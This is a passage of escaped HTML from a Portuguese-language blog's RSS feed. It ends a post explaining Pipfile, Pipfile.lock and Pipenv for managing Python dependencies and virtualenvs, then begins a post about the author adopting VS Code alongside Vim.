&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para garantir que a mesma versão do &lt;em&gt;pytz&lt;/em&gt; está sendo instalada nos diferentes ambientes do projeto, podemos &quot;pinar&quot; a sua versão no &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# requirements.txt

Django==2.0.6
pytz==2018.4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E por fim, adicionar um &lt;code class=&quot;language-text&quot;&gt;--no-deps&lt;/code&gt; ao comando &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;, assim ele se manterá fiel às dependências descritas no &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install -r requirements.txt --no-deps&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note que você virou responsável por uma função que deveria ser desempenhada pelo &lt;em&gt;package manager&lt;/em&gt;. Com o passar do tempo, esse tipo de gestão passa a ser árdua e suscetível a erros.&lt;/p&gt;
&lt;h2&gt;Pipfile to the rescue&lt;/h2&gt;
&lt;p&gt;Segundo o &lt;a href=&quot;https://github.com/pypa/pipfile&quot; title=&quot;the replacement for requirements.txt&quot;&gt;repositório oficial&lt;/a&gt;, o &lt;em&gt;Pipfile&lt;/em&gt; é:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) a replacement for the existing standard pip&apos;s requirements.txt file.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Como esperado, o padrão traz melhorias em relação ao &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt;. O já citado &quot;ambientes determinísticos&quot; é alcançado através do &lt;code class=&quot;language-text&quot;&gt;Pipfile.lock&lt;/code&gt;, um conceito usado em gerenciadores de pacotes de outras linguagens, como &lt;a href=&quot;http://bundler.io/&quot; title=&quot;Package manager do Ruby&quot;&gt;&lt;em&gt;Bundler&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;https://crates.io/&quot; title=&quot;Package manager do Rust&quot;&gt;&lt;em&gt;Cargo&lt;/em&gt;&lt;/a&gt; ou &lt;a href=&quot;https://yarnpkg.com/en/&quot; title=&quot;Package manager do Node&quot;&gt;&lt;em&gt;Yarn&lt;/em&gt;&lt;/a&gt;, onde as versões das dependências são &quot;congeladas&quot;, garantindo que você obtenha o mesmo resultado em qualquer ambiente, e executando quantas vezes quiser.&lt;/p&gt;
&lt;p&gt;Outra vantagem é o uso de um único arquivo para diferentes ambientes. Com o uso de &lt;em&gt;requirements&lt;/em&gt;, geralmente acabamos com um arquivo de texto específico para cada ambiente:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# requirements.txt

Django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mais um para dependências exclusivas do ambiente de desenvolvimento:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# requirements-dev.txt

-r requirements.txt

django-debug-toolbar
pytest&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o &lt;em&gt;Pipfile&lt;/em&gt;, é possível utilizar o mesmo arquivo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ini&quot;&gt;&lt;pre class=&quot;language-ini&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Pipfile&lt;/span&gt;

&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token section-name selector&quot;&gt;[source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;]
&lt;span class=&quot;token key attr-name&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;&quot;&lt;span class=&quot;token inner-value&quot;&gt;https://pypi.org/simple&lt;/span&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;verify_ssl&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;&quot;&lt;span class=&quot;token inner-value&quot;&gt;pypi&lt;/span&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token section-name selector&quot;&gt;dev-packages&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;pytest&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;&quot;&lt;span class=&quot;token inner-value&quot;&gt;*&lt;/span&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token section-name selector&quot;&gt;packages&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;Django&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;&quot;&lt;span class=&quot;token inner-value&quot;&gt;*&lt;/span&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token section-name selector&quot;&gt;requires&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;python_version&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;&quot;&lt;span class=&quot;token inner-value&quot;&gt;3.6&lt;/span&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Pipfile != Pipenv&lt;/h2&gt;
&lt;p&gt;Grande parte dos artigos que lí sobre &lt;em&gt;Pipfile&lt;/em&gt; começavam com algum comando como o abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pipenv install django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma coisa que tem que ficar clara é: O &lt;em&gt;Pipenv&lt;/em&gt; está para o &lt;em&gt;pip&lt;/em&gt;, assim como o &lt;em&gt;Pipfile&lt;/em&gt; está para o &lt;em&gt;requirements&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ecdabcffb739710e8a9a1ab2a1eae89a/c08c5/rambo-knife.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 48.4375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUDBAb/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAv/aAAwDAQACEAMQAAABXzlGWhFIn//EABoQAAICAwAAAAAAAAAAAAAAAAECAxARITP/2gAIAQEAAQUC2GUkLEcxnglf/8QAFREBAQAAAAAAAAAAAAAAAAAAEEH/2gAIAQMBAT8Bh//EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oACAECAQE/AVf/xAAZEAEAAgMAAAAAAAAAAAAAAAABABAhQZH/2gAIAQEABj8CHcXsM0V//8QAGhAAAwADAQAAAAAAAAAAAAAAAAERIUFRYf/aAAgBAQABPyGdIGud1keJKDNWnGZuumkf/9oADAMBAAIAAwAAABAXH//EABcRAAMBAAAAAAAAAAAAAAAAAAABETH/2gAIAQMBAT8QS2U//8QAFhEAAwAAAAAAAAAAAAAAAAAAARAx/9oACAECAQE/EBE//8QAHBABAAMBAAMBAAAAAAAAAAAAAQARITFBUXGh/9oACAEBAAE/EAa1Y21ZSDaza2m35v5PEvsJBbrHRp5EhVjy/GK9Hk//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Rambo segurando sua faca&amp;quot;&quot;
        title=&quot;Pipenv é tipo a faca do Rambo. Resolve qualquer parada (mann.tv)&quot;
        src=&quot;/static/ecdabcffb739710e8a9a1ab2a1eae89a/c08c5/rambo-knife.jpg&quot;
        srcset=&quot;/static/ecdabcffb739710e8a9a1ab2a1eae89a/7809d/rambo-knife.jpg 192w,
/static/ecdabcffb739710e8a9a1ab2a1eae89a/4ecad/rambo-knife.jpg 384w,
/static/ecdabcffb739710e8a9a1ab2a1eae89a/c08c5/rambo-knife.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Pipenv é tipo a faca do Rambo. Resolve qualquer parada (mann.tv)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Até o momento da publicação desse artigo, o &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; não suporta o formato do &lt;em&gt;Pipfile&lt;/em&gt; (ou pelo menos a versão que tenho instalada aqui). Portanto, a maneira mais conveniente de utilizar o &lt;em&gt;Pipfile&lt;/em&gt; hoje é através do utilitário de linha de comando &lt;code class=&quot;language-text&quot;&gt;pipenv&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Segundo o &lt;a href=&quot;https://github.com/pypa/pipenv&quot; title=&quot;Python Development Workflow for Humans&quot;&gt;repositório oficial&lt;/a&gt;, o &lt;em&gt;Pipenv&lt;/em&gt; é:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) a tool that aims to bring the best of all packaging worlds (bundler, composer, npm, cargo, yarn, etc.) to the Python world. Windows is a first–class citizen, in our world.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Através do &lt;em&gt;parsing&lt;/em&gt; do &lt;em&gt;Pipfile&lt;/em&gt;, a ferramenta resolve dependências do projeto (através dos parâmetros &lt;code class=&quot;language-text&quot;&gt;install&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;uninstall&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;update&lt;/code&gt;), exibe a árvore de dependências (através do parâmetro &lt;code class=&quot;language-text&quot;&gt;graph&lt;/code&gt;) e analisa as mesmas (através do &lt;code class=&quot;language-text&quot;&gt;check&lt;/code&gt;). Mas além de atuar como um gerenciador de pacotes, o &lt;em&gt;Pipenv&lt;/em&gt; tem uma funcionalidade fantástica: Cria e gerencia &lt;em&gt;virtualenvs&lt;/em&gt; de forma automática.&lt;/p&gt;
&lt;h2&gt;Virtualização out of the box&lt;/h2&gt;
&lt;p&gt;Já escrevi sobre virtualização com &lt;a href=&quot;/2015/07/23/virtualenvwrapper-o-basico-para-um-bom-ambiente-de-desenvolvimento-python.html&quot; title=&quot;Artigo sobre Virtualenvwrapper&quot;&gt;&lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/2016/04/26/o-simples-e-poderoso-pyenv.html&quot; title=&quot;Artigo sobre pyenv&quot;&gt;&lt;em&gt;pyenv&lt;/em&gt;&lt;/a&gt;. Com o &lt;em&gt;Pipenv&lt;/em&gt;, a coisa fica significativamente mais simples.&lt;/p&gt;
&lt;p&gt;Ao executar o comando &lt;code class=&quot;language-text&quot;&gt;pipenv install&lt;/code&gt;, por exemplo, a ferramenta automaticamente criará um &lt;em&gt;virtualenv&lt;/em&gt; (caso não exista) para o projeto no qual você está trabalhando. Por exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mkdir -p ~/workspace/test-pipenv
$ cd ~/workspace/test-pipenv/
$ pipenv install django

Creating a virtualenv for this project…
Using /home/klaus/.pyenv/versions/2.7.14/bin/python2.7 (2.7.14) to create virtualenv…&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Caso você esteja curioso para saber aonde o seu &lt;em&gt;virtualenv&lt;/em&gt; foi parar, o comando abaixo pode ajudar:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pipenv --venv

/home/klaus/.local/share/virtualenvs/test-pipenv-BzNa0eOE&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mas você não precisa se preocupar em saber onde o &lt;code class=&quot;language-text&quot;&gt;activate.sh&lt;/code&gt; está. Para ativar o &lt;em&gt;virtualenv&lt;/em&gt; criado, o parâmetro &lt;code class=&quot;language-text&quot;&gt;shell&lt;/code&gt; é a melhor saída:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pipenv shell

Spawning environment shell (/bin/zsh). Use &apos;exit&apos; to leave.
. /home/klaus/.local/share/virtualenvs/test-pipenv-BzNa0eOE/bin/activate&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Frustrado com o &lt;em&gt;Python 2.7&lt;/em&gt;? Sem problemas! Vamos transformar o projeto em &lt;em&gt;Python 3&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pipenv install --three&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O comando criará um novo &lt;em&gt;virtualenv&lt;/em&gt;, dessa vez com a versão mais recente da linguagem. Não esqueça de atualizar o &lt;code class=&quot;language-text&quot;&gt;python_version&lt;/code&gt; do &lt;code class=&quot;language-text&quot;&gt;Pipfile&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Com o &lt;a href=&quot;https://devcenter.heroku.com/articles/python-support&quot; title=&quot;Python Support - Heroku&quot;&gt;&lt;em&gt;Heroku&lt;/em&gt; adotando &lt;em&gt;Pipfile&lt;/em&gt;&lt;/a&gt;, me senti mais motivado a migrar alguns projetos para o padrão.&lt;/p&gt;
&lt;p&gt;Como resultado, tenho simplificado a &lt;em&gt;stack&lt;/em&gt; dos mesmos. Antes, eu gerenciava os ambientes virtuais com um &lt;em&gt;mix&lt;/em&gt; de &lt;em&gt;virtualenvwrapper&lt;/em&gt; e &lt;em&gt;pyenv&lt;/em&gt;. Hoje, com apenas um utilitário de linha de comando, sou capaz de gerenciar dependências e virtualização. Além disso, acredito que o &lt;em&gt;setup&lt;/em&gt; de um projeto &lt;em&gt;Python&lt;/em&gt; fique mais homogêneo, uma vez que não há necessidade de um combo &lt;code class=&quot;language-text&quot;&gt;pip + {virtualenv,virtualenvwrapper,pyenv}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mattlayman.com/2017/using-pipfile-for-fun-and-profit.html&quot;&gt;mattlayman - Using Pipfile for fun and profit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/grupy-rn/gerenciando-suas-depend%C3%AAncias-e-ambientes-python-com-pipenv-9e5413513fa6&quot;&gt;Medium - Gerenciando suas dependências e ambientes python com pipenv&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pipenv.org&quot;&gt;Pipenv - Python Dev Workflow for Humans&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://realpython.com/pipenv-guide/&quot;&gt;Real Python - Pipenv: A Guide to the New Python Packaging Tool&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Eu me rendo: VS Code]]></title><description><![CDATA[É, caro leitor... chegou o dia de admitir que tenho usado outro editor
além do Vim. Pode
me julgar, me chamar de "poser" ou de "vendido…]]></description><link>https://klauslaube.com.br/2018/06/04/eu-me-rendo-vscode.html</link><guid isPermaLink="false">https://klauslaube.com.br/2018/06/04/eu-me-rendo-vscode.html</guid><pubDate>Mon, 04 Jun 2018 16:30:00 GMT</pubDate><content:encoded>&lt;p&gt;É, caro leitor... chegou o dia de admitir que tenho usado outro editor
além do &lt;a href=&quot;/tag/vim.html&quot; title=&quot;Leia mais sobre o melhor editor do universo&quot;&gt;&lt;em&gt;Vim&lt;/em&gt;&lt;/a&gt;. Pode
me julgar, me chamar de &quot;poser&quot; ou de &quot;vendido&quot;, mas acontece que tenho descoberto no
&lt;a href=&quot;https://code.visualstudio.com/&quot; title=&quot;Conheça o VS Code&quot;&gt;&lt;em&gt;VS Code&lt;/em&gt;&lt;/a&gt;, da &lt;em&gt;Microsoft&lt;/em&gt;,
uma excelente ferramenta para desenvolvimento &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Piadas à parte, ainda acho o &lt;em&gt;Vim&lt;/em&gt; uma ferramenta fantástica. Mas também
reconheço que há uma curva de aprendizagem, e que montar um set de &lt;em&gt;plugins&lt;/em&gt; para
um determinado ambiente de desenvolvimento pode ser uma tarefa maçante (sim,
eu estou olhando para você, &lt;code class=&quot;language-text&quot;&gt;python-mode&lt;/code&gt;). Nisso, tenho que reconhecer
que o &lt;em&gt;Visual Studio Code&lt;/em&gt; faz um trabalho primoroso.&lt;/p&gt;
&lt;h2&gt;Motivação&lt;/h2&gt;
&lt;p&gt;Tenho &quot;advogado&quot; contra o uso de &lt;em&gt;IDEs&lt;/em&gt; &lt;a href=&quot;https://www.profissionaisti.com.br/2009/01/produtividade-x-programacao-voce-realmente-precisa-de-uma-ide/&quot; title=&quot;Produtividade x Programação: Você realmente precisa de uma IDE?&quot;&gt;desde 2009&lt;/a&gt;.
De lá para cá, geralmente trabalhei com ambientes relativamente fáceis de lidar, como
&lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;.
Essa opinião mudou a partir do momento que comecei a desenvolver para &lt;em&gt;Android&lt;/em&gt;. Não digo
que usar editores de texto (como o &lt;em&gt;Vim&lt;/em&gt; ou &lt;em&gt;Emacs&lt;/em&gt;) para desenvolver &lt;em&gt;Java/Android&lt;/em&gt; seja
impossível, mas (IMO) beira o masoquismo. Com o &lt;em&gt;Android Studio&lt;/em&gt;, por exemplo, muitas barreiras
de &lt;em&gt;setup&lt;/em&gt; de ambiente são derrubadas pela ferramenta, aumentando produtividade e diminuindo
o tempo necessário para ter a sua solução funcionando no dispositivo do seu usuário.&lt;/p&gt;
&lt;h2&gt;IDE pero no mucho&lt;/h2&gt;
&lt;p&gt;Além de ser livre e de código-aberto, o &lt;em&gt;Visual Studio Code&lt;/em&gt; é leve, extensível e &lt;a href=&quot;https://github.com/Microsoft/vscode&quot; title=&quot;Veja o repositório do vscode no Github&quot;&gt;construído
em &lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;. Ele funciona &quot;out of the box&quot; para linguagens como &lt;a href=&quot;/tag/css.html&quot; title=&quot;Leia mais sobre CSS&quot;&gt;&lt;em&gt;CSS&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;Javascript&lt;/em&gt; e &lt;em&gt;HTML&lt;/em&gt;,
inclusive, é impressionante como o &lt;em&gt;autocomplete&lt;/em&gt; (através do
&lt;a href=&quot;https://code.visualstudio.com/docs/editor/intellisense&quot; title=&quot;Leia mais sobre o IntelliSense&quot;&gt;&lt;em&gt;IntelliSense&lt;/em&gt;&lt;/a&gt;) funciona
&quot;smoothly&quot; para as mesmas.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/85acfc9ae4d6d6e9fd906e6ea957e446/c08c5/lando-traidor.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 43.22916666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAJABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDBAX/xAAWAQEBAQAAAAAAAAAAAAAAAAACAAP/2gAMAwEAAhADEAAAAefSbSU1Dz//xAAbEAACAQUAAAAAAAAAAAAAAAAAAQIDIjEyQ//aAAgBAQABBQKNxkcWUtuh/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGhAAAgIDAAAAAAAAAAAAAAAAABABAhEhQf/aAAgBAQAGPwLHDSkov//EAB0QAQABAwUAAAAAAAAAAAAAAAEAESFBMZGhscH/2gAIAQEAAT8ha00NS0gUNo3sxWXedSPJ5HE//9oADAMBAAIAAwAAABBQ7//EABURAQEAAAAAAAAAAAAAAAAAAAEQ/9oACAEDAQE/EEAZ/8QAFhEBAQEAAAAAAAAAAAAAAAAAAQAR/9oACAECAQE/EBVLL//EABsQAQACAwEBAAAAAAAAAAAAAAEAESExobFh/9oACAEBAAE/EFIMCKqXij7FLZCKqq9kRG/G0Tj9zoR5T//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Lando em Star Wars&amp;quot;&quot;
        title=&quot;Tô traindo o movimento tipo o Lando (theplaylist.net)&quot;
        src=&quot;/static/85acfc9ae4d6d6e9fd906e6ea957e446/c08c5/lando-traidor.jpg&quot;
        srcset=&quot;/static/85acfc9ae4d6d6e9fd906e6ea957e446/7809d/lando-traidor.jpg 192w,
/static/85acfc9ae4d6d6e9fd906e6ea957e446/4ecad/lando-traidor.jpg 384w,
/static/85acfc9ae4d6d6e9fd906e6ea957e446/c08c5/lando-traidor.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Tô traindo o movimento tipo o Lando (theplaylist.net)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O seu &lt;em&gt;marketplace&lt;/em&gt; de &lt;em&gt;plugins&lt;/em&gt; é rico, e é sem dúvida um dos seus
pontos fortes. Adicionar &lt;em&gt;code formatters&lt;/em&gt;, &lt;em&gt;autocomplete&lt;/em&gt;, ou integrações com ferramentas
externas nunca foi tão fácil. Além disso, a opção de customizar o editor
globalmente ou por &lt;em&gt;workspace&lt;/em&gt; é uma mão na roda para quem trabalha com mais de um projeto no cotidiano.&lt;/p&gt;
&lt;p&gt;Utilitários de &lt;em&gt;refactoring&lt;/em&gt;, &lt;em&gt;debugging&lt;/em&gt;, controle de versão, além dos inúmeros &lt;em&gt;plugins&lt;/em&gt; para &lt;em&gt;tests&lt;/em&gt;, só aumentam
ainda mais o poderio do editor, e dão a ele esse &quot;jeitão&quot; de &lt;em&gt;IDE&lt;/em&gt;, sem perder
a simplicidade peculiar dos editores de texto.&lt;/p&gt;
&lt;h2&gt;Python&lt;/h2&gt;
&lt;p&gt;Para usar o editor com &lt;em&gt;Python&lt;/em&gt;, a &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=ms-python.python&quot; title=&quot;Python for VS Code&quot;&gt;extensão criada pela própria &lt;em&gt;Microsoft&lt;/em&gt;&lt;/a&gt;
deve ser o suficiente. Ela é simples de configurar e muito rica, trazendo comandos interessantes como
&lt;code class=&quot;language-text&quot;&gt;Start REPL&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;Run all unit tests&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/242f57ae87264056e1abda47eef7e913/6af66/vscode-python-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7CAAAOwgEVKEqAAAABUUlEQVQoz4WSaW7CMBBGc42WNgl4zeI1TgwkKVSEELFDS3v/m9QIiVIhUen9sKV5mm/G9mabT16UeaaFEFEcM8YIIRAhFCXGGEopAoBiQjCGEF0AALriOE48O2mq9/bw8XU8ntar7Xqzr+upLUaB71NKjJFWiRTDCPQD//VKGPhhEHh1VZZl1XarupoUxTDLcmtHWWb9PgAkognzAXoOBo6X8BYQDAZOrrhUUhvOmIuEMYEQpKoqum89P4Z588TfenLqeL4iJr184UfKa9tWSdUPB/A8KHYACI0adYt1nts0FYzJezjXGFOv6zoplduB6/kry+GiXRpT/CPvdjulzvLFRIi4s+u8WR9ms7kQ+pGstU6S5Jr5IudqvFpu7XDMuXokW+sGS//KoNDlYX+aTmdKZc6/R4iMEOo1TSOlvIl9/gwsEe6pU8bd1RXdQ2nklB/snmwWSfoFyAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;VS Code com Python&amp;quot;&quot;
